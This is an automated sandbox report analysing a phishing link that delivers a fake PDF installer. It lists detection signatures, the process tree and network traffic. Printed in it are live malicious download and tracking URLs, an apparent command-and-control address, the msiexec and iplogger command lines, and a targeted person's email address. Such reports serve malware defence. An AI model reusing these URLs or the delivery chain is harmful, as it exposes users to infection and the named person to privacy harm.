Edit tour

Windows Analysis Report
https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com

Overview

General Information

Sample URL:	https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com
Analysis ID:	1426517
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected ZipBomb

Downloads suspicious files via Chrome

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

May use the Tor software to hide its network traffic

Overwrites code with function prologues

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Deletes files inside the Windows folder

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Launches processes in debugging mode, may be used to hinder debugging

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1964,i,18420012649590504085,17471692908072588692,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

rundll32.exe (PID: 7760 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

msiexec.exe (PID: 7868 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\Temp1_DOC70219873816PDF_02.zip\DOC70219873816PDF_02.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7912 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 8012 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 26A115FA982D3F88F68908AE2FFB44FB MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSI6140.tmp (PID: 8080 cmdline: "C:\Windows\Installer\MSI6140.tmp" https://iplogger.com/LABORAL MD5: 0BD14ADA4076CED3BCBEFC39C5128524)

chrome.exe (PID: 8140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/LABORAL MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1996,i,2738386864576278437,15011083722007866258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

winlog.exe (PID: 2996 cmdline: "C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe" MD5: 48D732A19514BEF06ACC712F43FA7D65)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Downloads\6773bea2-e30f-4e79-8aab-90497f1ef0fb.tmp	JoeSecurity_ZipBomb	Yara detected ZipBomb	Joe Security
C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\msiexec.exe, ProcessId: 7912, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

• AV Detection
• Cryptography
• Phishing
• Compliance
• Spreading
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Boot Survival
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings

Click to jump to signature section

Show All Signature Results

AV Detection

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\avutil.dll

Joe Sandbox ML: detected

Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_3328bcef-6

Source: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com

Sample URL: PII: dcp@sanitasresidencial.com

Source: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.246.93:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49723 version: TLS 1.2

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSI6140.tmp, 00000010.00000000.1595940966.000000000085C000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: r:\Case\Projects\sly\AnyDVDhd\AnyTool\Release\AnyTool.pdb$ source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: r:\Case\Projects\sly\AnyDVDhd\AnyTool\Release\AnyTool.pdb source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSI6140.tmp, 00000010.00000000.1595940966.000000000085C000.00000002.00000001.01000000.00000006.sdmp

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_a8625c1886757984	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\version.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.2006_none_d94bc80de1097097	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\netapi32.dll	Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.246.93
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	HTTP traffic detected: GET /1/themes/es/?cid=dcp@sanitasresidencial.com HTTP/1.1Host: map.sewoon.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: map.sewoon.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/08/cropped-favicon-32x32.png HTTP/1.1Host: map.sewoon.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/08/cropped-favicon-32x32.png HTTP/1.1Host: map.sewoon.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/themes/es/?cid=dcp@sanitasresidencial.com HTTP/1.1Host: map.sewoon.orgConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: map.sewoon.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/themes/es/?cid=dcp@sanitasresidencial.com HTTP/1.1Host: map.sewoon.orgConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2UH8AlrE5awpckG&MD=f1W39G+T HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: map.sewoon.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.comAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rand.html HTTP/1.1Host: nertaos.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /down/DOC70219873816PDF_02.zip HTTP/1.1Host: nertaos.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://nertaos.com/rand.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nertaos.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nertaos.com/rand.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2UH8AlrE5awpckG&MD=f1W39G+T HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: unknown

DNS traffic detected: queries for: map.sewoon.org

Source: unknown

HTTP traffic detected: POST /report/v4?s=2Ws0n%2Ff0vZXRUtdEtNe41yXjJcGhrJYlBfjbl5Brthw%2BkXx%2BHV9uPoYmZiPTWItZJSkHYqAygkvBxoAf%2BXVLtOoRNZOUTMTtwh4rzGQ0Og9cHMphoTkcsSNgvXOF7g%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 420Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 07:19:29 GMTServer: Apache/2.4.48 (Unix) OpenSSL/1.1.1nX-Powered-By: PHP/7.4.21Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 07:19:39 GMTServer: Apache/2.4.48 (Unix) OpenSSL/1.1.1nX-Powered-By: PHP/7.4.21Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 07:19:42 GMTServer: Apache/2.4.48 (Unix) OpenSSL/1.1.1nX-Powered-By: PHP/7.4.21Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 07:20:04 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeLast-Modified: Mon, 03 Oct 2022 20:20:13 GMTVary: Accept-EncodingCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Ws0n%2Ff0vZXRUtdEtNe41yXjJcGhrJYlBfjbl5Brthw%2BkXx%2BHV9uPoYmZiPTWItZJSkHYqAygkvBxoAf%2BXVLtOoRNZOUTMTtwh4rzGQ0Og9cHMphoTkcsSNgvXOF7g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 875269217f408134-ORDalt-svc: h3=":443"; ma=86400

Source: winlog.exe, 00000013.00000002.2344795953.00000000077B9000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://3.145.213.63/contador/serv.phpA
Source: winlog.exe, 00000013.00000002.2344795953.0000000007842000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://3.145.213.63/contador/serv.phpDF_02
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://art.gnome.org/2
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://code.google.com/p/gnome-colors/P
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://commons.wikimedia.org/wiki/Crystal_Clear
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://creativecommons.org/licenses/GPL/2.0/lj
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://creativecommons.org/licenses/GPL/3.0/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://creativecommons.org/licenses/LGPL/2.1/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://creativecommons.org/licenses/LGPL/2.1/;
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://creativecommons.org/licenses/by-sa/3.0/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://everaldo.com/crystal/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://fontawesome.io
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://fontawesome.io/license/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://fontawesome.iohttp://fontawesome.iohttp://fontawesome.io/license/http://fontawesome.io/licens
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: winlog.exe, 00000013.00000002.2342790721.0000000007586000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.coma
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://forums.vso-software.fr/advanced-text-customization-in-dvd-menus-
Source: winlog.exe, 00000013.00000000.1615949987.00000000015CA000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://forums.vso-software.fr/convertxtodvd-batcher-beta-t19034.html
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://forums.vso-software.fr/convertxtodvd-batcher-t19034.htmlU
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://fr.vso-software.fr/support.php
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://jvcl.delphi-jedi.org/
Source: winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://nuovext.pwsp.net
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://packages.debian.org/lenny/app-install-data
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://rg.vso-software.fr
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://secure.vso-software.fr/?m=tsU
Source: winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://svn.vso-software.fr/listing.php?repname=ffmpeg&path=%2Ftrunk%2F#_trunk_
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://vso-software.fr/download.phpU
